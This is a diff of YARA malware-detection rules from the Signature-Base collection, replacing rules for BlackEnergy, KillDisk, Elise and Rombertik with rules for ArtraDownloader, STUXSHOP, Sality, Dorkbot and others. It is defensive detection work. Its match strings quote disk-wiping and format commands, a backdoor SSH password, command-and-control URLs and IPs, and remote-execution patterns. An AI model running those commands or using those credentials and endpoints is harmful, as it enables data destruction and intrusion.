-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0969daac4adc84ab7b50d4f9ffb16c4e1a07c6dbfc968bd6649497c794a161cd"
-		logic_hash = "6b8acaaa64329d09d3d22d74f4f40288fba3f5faaff63e1ee6b2e6153f14d730"
-		score = 50
-		quality = 85
-		tags = "FILE"
+		reference = "http://goo.gl/NpJpVZ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_woolengoldfish.yar#L81-L111"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ac51c25ad6ef6668238fef1de50517d48e6509f57cd6dd723595777ae16d8a6c"
+		score = 90
+		quality = 83
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "86222ef166474e53f1eb6d7e6701713834e6fee7"
+		hash2 = "e8dbcde49c7f760165ebb0cb3452e4f1c24981f5"
 
 	strings:
-		$s1 = "Dropbear server v%s https://matt.ucc.asn.au/dropbear/dropbear.html" fullword ascii
-		$s2 = "Badly formatted command= authorized_keys option" fullword ascii
-		$s3 = "This Dropbear program does not support '%s' %s algorithm" fullword ascii
-		$s4 = "/etc/dropbear/dropbear_dss_host_key" fullword ascii
-		$s5 = "/etc/dropbear/dropbear_rsa_host_key" fullword ascii
+		$x1 = "... get header FATAL ERROR !!!  %d bytes read > header_size" fullword ascii
+		$x2 = "index.php?c=%S&r=%x&u=1&t=%S" fullword wide
+		$x3 = "connect_back_tcp_channel#do_connect:: Error resolving connect back hostname" fullword ascii
+		$s0 = "kernel32.dll GetProcAddressLoadLibraryAws2_32.dll" fullword ascii
+		$s1 = "Content-Type: multipart/form-data; boundary=%S" fullword wide
+		$s2 = "Attempting to unlock uninitialized lock!" fullword ascii
+		$s4 = "unable to load kernel32.dll" fullword ascii
+		$s5 = "index.php?c=%S&r=%x" fullword wide
+		$s6 = "%s len:%d " fullword ascii
+		$s7 = "Encountered error sending syscall response to client" fullword ascii
+		$s9 = "/info.dat" fullword ascii
+		$s10 = "Error entering thread lock" fullword ascii
+		$s11 = "Error exiting thread lock" fullword ascii
+		$s12 = "connect_back_tcp_channel_init:: socket() failed" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and 2 of them
+		(1 of ($x*)) or (8 of ($s*))
 }
-rule SIGNATURE_BASE_Blackenergy_Backdoorpass_Dropbear_SSH : FILE
+rule SIGNATURE_BASE_APT_Artradownloader2_Aug19_1 : FILE
 {
 	meta:
-		description = "Detects the password of the backdoored DropBear SSH Server - BlackEnergy"
+		description = "Detects ArtraDownloader malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "60db00dd-72b3-5a28-90de-2a397b1e007b"
-		date = "2016-01-03"
+		id = "0e688e92-2366-5f36-a32d-083982181eb7"
+		date = "2019-08-27"
 		modified = "2023-12-05"
-		reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_blackenergy.yar#L71-L84"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0969daac4adc84ab7b50d4f9ffb16c4e1a07c6dbfc968bd6649497c794a161cd"
-		logic_hash = "3af58d155691d9323458280ad1b933e8e784acafb0974f5f267b93d9b02e825e"
+		reference = "https://unit42.paloaltonetworks.com/multiple-artradownloader-variants-used-by-bitter-to-target-pakistan/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_patchwork.yar#L2-L30"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c365c3d678c881eeb626b5d26e6164b473990387619337459ccdd8d9f0633b49"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "f0ef4242cc6b8fa3728b61d2ce86ea934bd59f550de9167afbca0b0aaa3b2c22"
 
 	strings:
-		$s1 = "passDs5Bu9Te7" fullword ascii
+		$xc1 = { 47 45 54 20 25 73 20 48 54 54 50 2F 31 2E 30 00
+               0D 0A 00 00 48 6F 73 74 3A 20 25 73 00 00 00 00
+               3F 61 3D 00 26 62 3D 00 26 63 3D 00 26 64 3D 00
+               26 65 3D 00 25 32 30 }
+		$xc2 = { 25 73 20 25 73 20 25 73 0D 0A 25 73 20 25 73 0D
+               0A 25 73 25 73 0D 0A 25 73 25 73 0D 0A 25 73 20
+               25 64 0D 0A 0D 0A 25 73 00 00 00 00 71 72 79 3D }
+		$xc3 = { 49 44 3D 25 73 00 00 00 3A 00 00 00 25 73 20 25
+               73 20 25 73 0D 0A 25 73 20 25 73 0D 0A 25 73 25
+               73 0D 0A 25 73 25 73 0D 0A 43 6F 6E 74 65 6E 74
+               2D 6C 65 6E 67 74 68 25 73 20 25 64 }
+		$xc4 = { 25 73 20 25 73 20 25 73 0D 0A 25 73 20 25 73 0D
+               0A 25 73 25 73 0D 0A 25 73 25 73 0D 0A 43 6F 6E
+               74 65 6E 74 2D 6C 65 6E 67 74 68 3A 20 25 64 0D
+               0A 0D 0A 25 73 }
+		$x1 = "Tpguxbsf]Njdsptpgu" ascii
+		$x2 = ".gpsn.vsmfodpefe" ascii
 
 	condition:
-		uint16(0)==0x5a4d and $s1
+		uint16(0)==0x5a4d and filesize <600KB and 1 of them
 }
-rule SIGNATURE_BASE_Blackenergy_Killdisk_1 : FILE
+rule SIGNATURE_BASE_STUXSHOP_Config
 {
 	meta:
-		description = "Detects KillDisk malware from BlackEnergy"
-		author = "Florian Roth (Nextron Systems)"
-		id = "304e7aa3-48d3-5015-aaf1-6b1df2441b75"
-		date = "2016-01-03"
+		description = "Stuxshop standalone sample configuration"
+		author = "JAG-S (turla@chronicle.security)"
+		id = "67367db5-51b3-5177-960a-5b06161154e2"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_blackenergy.yar#L88-L115"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fa64434422a16166938b9eede9c50b79bae90632f1500e6529dcf26dbebe50f1"
-		score = 80
+		reference = "https://medium.com/chronicle-blog/who-is-gossipgirl-3b4170f846c0"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_stuxshop.yar#L2-L30"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c1961e54d60e34bbec397c9120564e8d08f2f243ae349d2fb20f736510716579"
+		logic_hash = "9dd57f8b4e25a53dcf54dc75a1bb26675c7dd04dbb4d96286bcc0a6527a21782"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "11b7b8a7965b52ebb213b023b6772dd2c76c66893fc96a18a9a33c8cf125af80"
-		hash2 = "5d2b1abc7c35de73375dd54a4ec5f0b060ca80a1831dac46ad411b4fe4eac4c6"
-		hash3 = "c7536ab90621311b526aefd56003ef8e1166168f038307ae960346ce8f75203d"
-		hash4 = "f52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95"
+		tags = ""
 
 	strings:
-		$s0 = "system32\\cmd.exe" fullword ascii
-		$s1 = "system32\\icacls.exe" fullword wide
-		$s2 = "/c del /F /S /Q %c:\\*.*" fullword ascii
-		$s3 = "shutdown /r /t %d" fullword ascii
-		$s4 = "/C /Q /grant " fullword wide
-		$s5 = "%08X.tmp" fullword ascii
-		$s6 = "/c format %c: /Y /X /FS:NTFS" fullword ascii
-		$s7 = "/c format %c: /Y /Q" fullword ascii
-		$s8 = "taskhost.exe" fullword wide
-		$s9 = "shutdown.exe" fullword wide
+		$cnc1 = "http://211.24.237.226/index.php?data=" ascii wide
+		$cnc2 = "http://todaysfutbol.com/index.php?data=" ascii wide
+		$cnc3 = "http://78.111.169.146/index.php?data=" ascii wide
+		$cnc4 = "http://mypremierfutbol.com/index.php?data=" ascii wide
+		$regkey1 = "Software\\Microsoft\\Windows\\CurrentVersion\\MS-DOS Emulation" ascii wide
+		$regkey2 = "NTVDMParams" ascii wide
+		$flowerOverlap1 = { 85 C0 75 3B 57 FF 75 1C FF 75 18 FF 75 14 50 FF 75 10 FF 75 FC FF 15 }
+		$flowerOverlap2 = { 85 C0 75 4C 8B 45 1C 89 45 0C 8D 45 0C 50 8D 45 08 FF 75 18 50 6A 00 FF 75 10 FF 75 20 FF 15 }
+		$flowerOverlap3 = { 55 8B EC 53 56 8B 75 20 85 F6 74 03 83 26 00 8D 45 20 50 68 19 00 02 00 6A 00 FF 75 0C FF 75 08 }
+		$flowerOverlap4 = { 55 8B EC 51 8D 4D FC 33 C0 51 50 6A 26 50 89 45 FC FF 15 }
+		$flowerOverlap5 = { 85 DB 74 04 8B C3 EB 1A 8B 45 08 3B 45 14 74 07 B8 5D 06 00 00 EB 0B 85 F6 74 05 8B 45 0C 89 06 }
+		$flowerOverlap6 = { 85 FF 74 12 83 7D F8 01 75 0C FF 75 0C FF 75 08 FF 15 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and 8 of them
+		all of ($flowerOverlap*) or 2 of ($cnc*) or all of ($regkey*)
 }
-rule SIGNATURE_BASE_Blackenergy_Killdisk_2 : FILE
+rule SIGNATURE_BASE_STUXSHOP_Oscheck
 {
 	meta:
-		description = "Detects KillDisk malware from BlackEnergy"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f0304e87-a278-5963-9af0-935c088c00ec"
-		date = "2016-01-03"
-		modified = "2023-01-06"
-		reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_blackenergy.yar#L117-L138"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "38ce9ab347690914f27e7ae89cc6fb2af02ee223e21822eb3b75fde772d3eaff"
-		score = 80
+		description = "Identifies the OS Check function in STUXSHOP and CheshireCat"
+		author = "Silas Cutler (havex@Chronicle.Security)"
+		id = "24fb5c6f-d5ab-5f17-942c-b712e2c017d4"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_stuxshop.yar#L32-L47"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c1961e54d60e34bbec397c9120564e8d08f2f243ae349d2fb20f736510716579"
+		logic_hash = "3dca26e622289c2d244e3af035e892455a47daa67dbe0c6fad29d9f7403cbc6b"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "11b7b8a7965b52ebb213b023b6772dd2c76c66893fc96a18a9a33c8cf125af80"
-		hash2 = "5d2b1abc7c35de73375dd54a4ec5f0b060ca80a1831dac46ad411b4fe4eac4c6"
-		hash3 = "f52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95"
+		tags = ""
 
 	strings:
-		$s0 = "%c:\\~tmp%08X.tmp" fullword ascii
-		$s1 = "%s%08X.tmp" fullword ascii
-		$s2 = ".exe.sys.drv.doc.docx.xls.xlsx.mdb.ppt.pptx.xml.jpg.jpeg.ini.inf.ttf" wide
-		$s3 = "%ls_%ls_%ls_%d.~tmp" fullword wide
+		$ = {10 F7 D8 1B C0 83 C0 ?? E9 ?? 01 00 00 39 85 7C FF FF FF 0F 85 ?? 01 00
+      00 83 BD 70 FF FF FF 04 8B 8D 74 FF FF FF 75 0B 85 C9 0F 85 ?? 01 00 00 6A 05
+      5E }
+		$ = {01 00 00 3B FA 0F 84 ?? 01 00 00 80 7D 80 00 B1 62 74 1D 6A 0D 8D 45 80
+      68 ?? ?? ?? 10 50 FF 15 ?? ?? ?? 10 83 C4 0C B1 6F 85 C0 75 03 8A 4D 8D 8B C6
+      }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and 3 of them
+		any of them
 }
-rule SIGNATURE_BASE_Blackenergy_Driver_USBMDM : FILE
+rule SIGNATURE_BASE_Unspecified_Malware_Oct16_A : FILE
 {
 	meta:
-		description = "Black Energy Driver"
+		description = "Detects an unspecififed malware - October 2016"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d5e8faf0-38cb-5193-b859-83ea09278011"
-		date = "2016-01-04"
+		id = "f62ecf7e-2b66-5567-9bf3-3d3797bc582d"
+		date = "2016-10-08"
 		modified = "2023-12-05"
-		reference = "http://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_blackenergy.yar#L140-L163"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "273a00de7af1b7490bff2eae545b358a5483bae0d55a560bef7bd9fa24b0f1d9"
-		score = 75
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_malware_set_oct16.yar#L10-L46"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d71e6640be1b10790d49c084b9ba248e35a6a56dfe9c5a3f219a209024ebec27"
+		score = 80
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "7874a10e551377d50264da5906dc07ec31b173dee18867f88ea556ad70d8f094"
-		hash2 = "b73777469f939c331cbc1c9ad703f973d55851f3ad09282ab5b3546befa5b54a"
-		hash3 = "edb16d3ccd50fc8f0f77d0875bf50a629fa38e5ba1b8eeefd54468df97eba281"
-		hash4 = "ac13b819379855af80ea3499e7fb645f1c96a4a6709792613917df4276c583fc"
-		hash5 = "7a393b3eadfc8938cbecf84ca630e56e37d8b3d23e084a12ea5a7955642db291"
-		hash6 = "405013e66b6f137f915738e5623228f36c74e362873310c5f2634ca2fda6fbc5"
-		hash7 = "244dd8018177ea5a92c70a7be94334fa457c1aab8a1c1ea51580d7da500c3ad5"
-		hash8 = "edcd1722fdc2c924382903b7e4580f9b77603110e497393c9947d45d311234bf"
+		hash1 = "d112a7e21902287e4a37112bf17d7c73a7b206e7bc81780fd87991c1519f38c8"
 
 	strings:
-		$s1 = "USB MDM Driver" fullword wide
-		$s2 = "KdDebuggerNotPresent" fullword ascii
-		$s3 = "KdDebuggerEnabled" fullword ascii
+		$x1 = "%s\\system32\\%s.dll" fullword ascii
+		$x2 = "%SystemRoot%\\System32\\svch%s -k nets" fullword ascii
+		$x3 = "\\\\.\\pipe\\96DBA249-E88E-4c47-98DC-E18E6E3E3E5A" fullword ascii
+		$s1 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options" fullword ascii
+		$s2 = "boottemp.exe" fullword ascii
+		$s3 = "at \\\\%s %d:%d C:\\%s.exe" fullword ascii
+		$s4 = "cryptcom.dll" fullword ascii
+		$s5 = "Wininet.dll" fullword ascii
+		$s6 = "\\\\%s\\%s\\%s.exe" fullword ascii
+		$s7 = "%s%d.exe" fullword ascii
+		$s8 = "booter.exe" fullword ascii
+		$s9 = "\\\\%s\\pipe%s" fullword ascii
+		$s10 = "C:\\DelInfo.bin" fullword ascii
+		$op0 = { ae 44 00 00 cb 44 00 00 dc 44 00 00 f5 44 00 00 }
+		$op1 = { ae 44 00 00 cb 44 00 00 dc 44 00 00 f5 44 00 00 }
+		$op2 = { ee 11 74 cf 73 0b 91 c4 c9 57 b2 d9 36 86 a5 b4 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <180KB and all of them
+		( uint16(0)==0x5a4d and filesize <1000KB and (2 of ($x*) or 3 of ($s*) or all of ($op*))) or (6 of them )
 }
-rule SIGNATURE_BASE_Blackenergy_Driver_AMDIDE : FILE
+rule SIGNATURE_BASE_Sality_Malware_Oct16 : FILE
 {
 	meta:
-		description = "Black Energy Malware"
+		description = "Detects an unspecififed malware - October 2016"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e5b57c33-87f7-5411-995c-384e0afa0348"
-		date = "2016-01-04"
+		id = "7bf2a818-f7ee-587e-b22e-b557251d89e1"
+		date = "2016-10-08"
 		modified = "2023-12-05"
-		reference = "http://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_blackenergy.yar#L165-L188"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cb6017327be464bcc2d9efca676c58a9ede45d122460bc167f87e78880c4ace5"
-		score = 75
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_malware_set_oct16.yar#L48-L63"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5bf14bbb0a7298a7bc896029c4b92ef9adf24307e4d05dcf86a518b266d1c2a8"
+		score = 80
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "32d3121135a835c3347b553b70f3c4c68eef711af02c161f007a9fbaffe7e614"
-		hash2 = "3432db9cb1fb9daa2f2ac554a0a006be96040d2a7776a072a8db051d064a8be2"
-		hash3 = "90ba78b6710462c2d97815e8745679942b3b296135490f0095bdc0cd97a34d9c"
-		hash4 = "97be6b2cec90f655ef11ed9feef5b9ef057fd8db7dd11712ddb3702ed7c7bda1"
-		hash5 = "5111de45210751c8e40441f16760bf59856ba798ba99e3c9532a104752bf7bcc"
-		hash6 = "cbc4b0aaa30b967a6e29df452c5d7c2a16577cede54d6d705ca1f095bd6d4988"
-		hash7 = "1ce0dfe1a6663756a32c69f7494ad082d293d32fe656d7908fb445283ab5fa68"
+		hash1 = "8eaff5e1d4b55dd6e25f007549271da10afd1fa25064d7105de0ca2735487aad"
 
 	strings:
-		$s1 = " AMD IDE driver" fullword wide
-		$s2 = "SessionEnv" fullword wide
-		$s3 = "\\DosDevices\\{C9059FFF-1C49-4445-83E8-" wide
-		$s4 = "\\Device\\{C9059FFF-1C49-4445-83E8-" wide
+		$s1 = "Hello world!" fullword wide
+		$s2 = "[LordPE]" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <150KB and all of them
+		( uint16(0)==0x5a4d and filesize <300KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_VULN_Printerdriver_Privesc_CVE_2021_3438_Jul21 : FILE
+rule SIGNATURE_BASE_Unspecified_Malware_Oct16_C : FILE
 {
 	meta:
-		description = "Detects affected drivers with PE timestamps older than the date of the initial report"
+		description = "Detects an unspecififed malware - October 2016"
 		author = "Florian Roth (Nextron Systems)"
-		id = "34cd648a-3e3f-5832-8abe-18507931eb3d"
-		date = "2021-07-20"
+		id = "fff98097-a19a-59aa-bece-837c75b0995c"
+		date = "2016-10-08"
 		modified = "2023-12-05"
-		reference = "https://labs.sentinelone.com/cve-2021-3438-16-years-in-hiding-millions-of-printers-worldwide-vulnerable/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/vul_cve_2021_3438_printdriver.yar#L4-L22"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b58c2623c8fb84162c1c9390d0398639061ed5b1d4a8e007685e6fabe42bde54"
-		score = 70
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_malware_set_oct16.yar#L65-L80"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1f212ef700e77c82954d997beef1157835da38330b583d02df418e10b6c182ee"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		hash1 = "7cc9ba2df7b9ea6bb17ee342898edd7f54703b93b6ded6a819e83a7ee9f938b4"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "a451157f75627b2fef3d663946c94ef7dacb58f08b31d0ec4c0a542a1c4e6205"
 
 	strings:
-		$s1 = "This String is from Device Driver@@@@@ !!!" ascii
-		$s2 = "\\DosDevices\\ssportc" wide fullword
+		$s1 = "dUSER32.DLL" fullword wide
+		$s2 = "output.dll" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and all of ($s*) and 1613606400>=pe.timestamp
+		( uint16(0)==0x5a4d and filesize <5000KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Elise_Jan18_1 : FILE
+rule SIGNATURE_BASE_Bladabindi_Malware_B64 : FILE
 {
 	meta:
-		description = "Detects Elise malware samples - fake Norton Security NavShExt.dll"
+		description = "Detects Bladabindi Malware using Base64 encoded strings"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8e4f4ec8-5d31-5990-8c14-861423571a79"
-		date = "2018-01-24"
+		id = "7f7023be-b6e1-5e1b-af8a-c413a5438ec8"
+		date = "2016-10-08"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/blu3_team/status/955971742329135105"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_lotusblossom_elise.yar#L13-L32"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d43486db0d4263f91924da89f1922ad965ed91eadd07ae0705eecd371f31fa44"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_malware_set_oct16.yar#L91-L108"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "081a6361e29fc231f1467b837c51a39b8cccf8caa20844b22d469ce2bbd0c7fb"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "6dc2a49d58dc568944fef8285ad7a03b772b9bdf1fe4bddff3f1ade3862eae79"
+		hash1 = "dda668b0792b7679979e61f2038cf9a8ec39415cc161be00d2c8301e7d48768d"
 
 	strings:
-		$s1 = "NavShExt.dll" fullword wide
-		$s2 = "Norton Security" fullword wide
-		$a1 = "donotbotherme" fullword ascii
+		$s1 = "XHN5c3RlbTMyXA==" fullword ascii
+		$s2 = "RXhlY3V0ZSBFUlJPUg==" fullword ascii
+		$s3 = "dHJvamFuLmV4ZQ==" fullword ascii
+		$s4 = "VXBkYXRlIEVSUk9S" fullword ascii
+		$s5 = "RG93bmxvYWQgRVJST1I=" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <250KB and (pe.imphash()=="e9478ee4ebf085d1f14f64ba96ef082f" or (1 of ($s*) and $a1))
+		uint16(0)==0x5a4d and filesize <700KB and 1 of them
 }
-rule SIGNATURE_BASE_Rombertik_Carbongrabber : FILE
+rule SIGNATURE_BASE_Dorkbot_Injector_Malware : FILE
 {
 	meta:
-		description = "Detects CarbonGrabber alias Rombertik - file Copy#064046.scr"
+		description = "Detects Darkbot Injector"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b3aee336-9f3b-5fae-928d-8357408a7b69"
-		date = "2015-05-05"
+		id = "b32986fe-d6f1-55f2-8d50-bc348b52fb49"
+		date = "2016-10-08"
 		modified = "2023-12-05"
-		reference = "http://blogs.cisco.com/security/talos/rombertik"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_rombertik_carbongrabber.yar#L10-L31"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ddc3ebcc460909a4afc9994cae53c9b7642f92ab6f16e2653f6b2d5002a33cda"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_malware_set_oct16.yar#L110-L129"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "36138520b0d39dc311b8e9355d1d1c215908a5fe1c01eec76c689f7e74a84303"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2f9b26b90311e62662c5946a1ac600d2996d3758"
-		hash2 = "aeb94064af2a6107a14fd32f39cb502e704cd0ab"
-		hash3 = "c2005c8d1a79da5e02e6a15d00151018658c264c"
-		hash4 = "98223d4ec272d3a631498b621618d875dd32161d"
+		hash1 = "bc3c5ac7180c8ac21d6908d747aa6122154d2bb51bb99ff0e0b1c65088d275dc"
 
 	strings:
-		$x1 = "ZwGetWriteWatch" fullword ascii
-		$x2 = "OutputDebugStringA" fullword ascii
-		$x3 = "malwar" fullword ascii
-		$x4 = "sampl" fullword ascii
-		$x5 = "viru" fullword ascii
-		$x6 = "sandb" fullword ascii
+		$s1 = "Enter an integer, a real number, a character and a string : " fullword ascii
+		$s2 = "ready to finish" fullword ascii
+		$s3 = "EYEnpw" fullword ascii
+		$s4 = "somewhere i belong" fullword ascii
+		$s5 = "Not all fields were assigned" fullword ascii
+		$s6 = "take down" fullword ascii
+		$s7 = "real number = %f" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <5MB and all of them
+		( uint16(0)==0x5a4d and filesize <500KB and 6 of them )
 }
-rule SIGNATURE_BASE_Rombertik_Carbongrabber_Panel_Installscript : FILE
+rule SIGNATURE_BASE_Unspecified_Malware_Oct16_D : FILE
 {
 	meta:
-		description = "Detects CarbonGrabber alias Rombertik panel install script - file install.php"
+		description = "Detects unspecified malware - October 2016"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f6c04e27-bbab-5012-a4f9-71d49d252b83"
-		date = "2015-05-05"
+		id = "6908467c-1ed6-508d-9503-246dd26823e5"
+		date = "2016-10-08"
 		modified = "2023-12-05"
-		reference = "http://blogs.cisco.com/security/talos/rombertik"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_rombertik_carbongrabber.yar#L33-L53"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cd6c152dd1e0689e0bede30a8bd07fef465fbcfa"
-		logic_hash = "a0edc53aea21bc317f510a4a463ca677d9dc1ec234ca9824bc46711c851f2ccc"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_malware_set_oct16.yar#L131-L150"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "78cde422987d2aff64967b86b6cf9279c112a2bfb713a2ea40fe952379d2e326"
 		score = 75
-		quality = 83
+		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "cd5f3bc0176a6803093ffdea6a7442c416e0d2945b6903063d17f5bb8d17519d"
 
 	strings:
-		$s0 = "$insert = \"INSERT INTO `logs` (`id`, `ip`, `name`, `host`, `post`, `time`, `bro" ascii
-		$s3 = "`post` text NOT NULL," fullword ascii
-		$s4 = "`host` text NOT NULL," fullword ascii
-		$s5 = ") ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=5 ;\" ;" fullword ascii
-		$s6 = "$db->exec($columns); //or die(print_r($db->errorInfo(), true));;" fullword ascii
-		$s9 = "$db->exec($insert);" fullword ascii
-		$s10 = "`browser` text NOT NULL," fullword ascii
